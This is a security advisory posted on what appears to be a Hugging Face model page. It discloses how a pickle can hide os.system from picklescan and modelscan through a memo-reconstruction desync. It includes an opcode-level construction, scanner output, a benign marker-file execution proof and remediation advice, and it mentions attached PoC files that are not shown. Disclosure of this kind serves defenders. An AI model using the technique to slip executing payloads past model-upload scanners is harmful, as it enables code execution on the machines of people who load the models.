YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Pickle scanner bypass β€” arbitrary code execution hidden from picklescan via a memo-build value desync in its static STACK_GLOBAL operand recovery

Summary

A malicious pickle can execute an arbitrary OS command on load while picklescan 1.0.4 (Protect AI, the scanner that gates Hugging Face model uploads) reports it completely clean β€” Infected files: 0, Dangerous globals: 0, exit 0. modelscan 0.8.8 also fails to flag it (verdict No issues found! πŸŽ‰). The dangerous global posix.system is fully hidden from the scanner even though the .pkl is actively scanned.

The bypass is not a new gadget (the callable is the canonical os.system) and not a parse-failure trick. It is a value desync in picklescan's static memo reconstruction: when picklescan recovers the (module, name) operands of a STACK_GLOBAL, its memo simulator stores the wrong value for a memoized BINGET result, so it reconstructs a benign global ('0','1') while the real pickle VM reconstructs ('posix','system').

Affected / verified versions

  • picklescan 1.0.4 (latest; post-dates the 0.0.31 fixes for CVE-2025-10155/10156/10157 and the STACK_GLOBAL offset-0 read-side fix)
  • modelscan 0.8.8 (latest) β€” also fails to flag (see "modelscan behavior" below)
  • CPython 3.12.3 (mechanism is stdlib pickle; version-independent)

Root cause

To detect dangerous imports, picklescan statically walks the pickle opcodes and reconstructs the operands of each STACK_GLOBAL (which, in protocol β‰₯4, pops its two string operands module and name off the stack). To resolve operands that were memoized and later fetched, picklescan simulates the pickle memo.

Its MEMOIZE handler records, as the memoized value, the argument of the immediately preceding opcode (ops[n-1][1]). That is correct when the preceding opcode is a value producer β€” e.g. SHORT_BINUNICODE 'posix', whose argument is the string pushed onto the stack. It is wrong when the preceding opcode is a BINGET k: a BINGET's argument is the integer memo key k, not the string it dereferences onto the stack. picklescan therefore memoizes the integer k, while the real pickle VM memoizes the dereferenced string.

This single mismatch lets the two memos diverge, and the divergence is enough to make picklescan recover a different global than the one that actually executes.

(modelscan 0.8.8 shares the same flawed memo-build logic; on this input it stores the int and then performs a blocklist membership test against it, raising TypeError: argument of type 'int' is not iterable, which it swallows and reports the file as clean β€” see below.)

The construction

'posix'  MEMOIZE(0)        # scanner memo0='posix'  | VM memo0='posix'   (agree)
'system' MEMOIZE(1)        # scanner memo1='system' | VM memo1='system'  (agree)
POP POP
BINGET 0  MEMOIZE(2)       # scanner memo2 = 0 (int!)  | VM memo2='posix'   <-- desync
BINGET 1  MEMOIZE(3)       # scanner memo3 = 1 (int!)  | VM memo3='system'  <-- desync
POP POP
BINGET 2  BINGET 3  STACK_GLOBAL
    # scanner reconstructs STACK_GLOBAL('0','1')  -> Suspicious, not blocklisted -> CLEAN
    # VM      reconstructs STACK_GLOBAL('posix','system') = os.system
'echo MEMO_DESYNC_PWNED > /tmp/...'  TUPLE1  REDUCE     # os.system(<cmd>)
STOP

Proof of concept

build_poc.py (attached) emits a 90-byte protocol-4 pickle.

picklescan output (clean) + what it actually recovered

$ python -m picklescan -p malicious.pkl
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
(exit 0)

$ python -m picklescan -p malicious.pkl -l DEBUG
Global imports in .../malicious.pkl: {('0', '1')}        <-- posix.system fully hidden

The scanner believes the only global is ('0','1') β€” a Suspicious-but-not-blocklisted import β€” so the file is reported clean.

Control (proves the format is actually scanned, not skipped): a plain os.system __reduce__ pickle of the same extension β†’ picklescan dangerous import 'posix system' FOUND / Infected files: 1. So .pkl is fully parsed and scanned; the desync pickle is scanned-but-misrecovered.

Execution (fresh interpreter)

$ python -c "import pickle,os; pickle.load(open('malicious.pkl','rb')); \
  print('marker:', os.path.exists('/tmp/MEMO_DESYNC_PWNED.txt'))"
marker: True

os.system runs from the pickle stream while the scanner saw only ('0','1').

modelscan behavior

$ modelscan -p malicious.pkl
--- Summary ---
 No issues found! πŸŽ‰
--- Errors ---
Error 1: ... argument of type 'int' is not iterable

modelscan does not flag the file (verdict clean), because the same int-vs-string memo desync makes its blocklist check raise a TypeError that it swallows and treats the file as not-an-issue. The malicious global is never reported. (A CI gating on modelscan's verdict/exit is bypassed; a reader of the Errors section would see the swallowed error β€” disclosed here for honesty. The picklescan bypass is clean and error-free on its own.)

Impact

Arbitrary code execution when a victim loads an untrusted pickle-based model that passed picklescan (and was not flagged by modelscan) β€” the scanners that gate model uploads on Hugging Face and in ML CI/CD. Reached by any pickle.load / pickle.loads consumer, including torch.load(..., weights_only=False), joblib.load, pandas.read_pickle. The gadget is the canonical os.system; the file looks clean because the scanner mis-recovers the operands.

Remediation

picklescan's memo simulator must store, for a MEMOIZE/PUT following a GET/BINGET/LONG_BINGET, the value the GET dereferences (memo[k]), not the GET's integer argument. More generally, the MEMOIZE handler should resolve the actual top-of-stack value through the same GET/EXT/global resolution it already applies on the read side, rather than blindly taking ops[n-1][1]. modelscan's PickleUnsafeOpScan needs the same fix (and should not silently swallow a scanner TypeError into a clean verdict).

Dedup / novelty

  • STACK_GLOBAL offset-0 (the disclosed backward-scan range(1,n) index bug) was a read-side operand-recovery bug, fixed in 0.0.31; picklescan 1.0.4 also added correct GET/BINGET memo resolution on the read side (plain PUT string; BINGET; STACK_GLOBAL indirection is resolved correctly β€” tested, caught). This finding is on the memo-build side: MEMOIZE after a BINGET stores the int key. Unpatched in 1.0.4.
  • Not the INST-instruction bypass (picklescan issue #13), not CVE-2025-10155/10156/10157 (ext-mismatch / zip-CRC / subclass-of-flagged-module), not RAXE-2026-015 (blocklist stdlib modules), not arXiv 2508.19774 "Art of Hide and Seek" (joblib-compression + 9 exception-oriented parse-abort bypasses β€” this one raises no exception in picklescan and is a silent mis-recovery, not a parse abort).
  • Distinct from our own prior bypasses (pathlib/sqlite3 gadget; .pt2/.pte extension-skip; .npy dir-scan; the EXT1/2/4 + copyreg.add_extension opcode bypass) β€” different root cause (static memo reconstruction).
  • A web search for picklescan + MEMOIZE/BINGET/memo-build desync returns no prior disclosure.

Artifacts

  • build_poc.py β€” self-contained raw-opcode builder (benign echo > marker payload).
  • malicious.pkl β€” 90-byte PoC (picklescan clean / modelscan no-issues, executes on load).
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support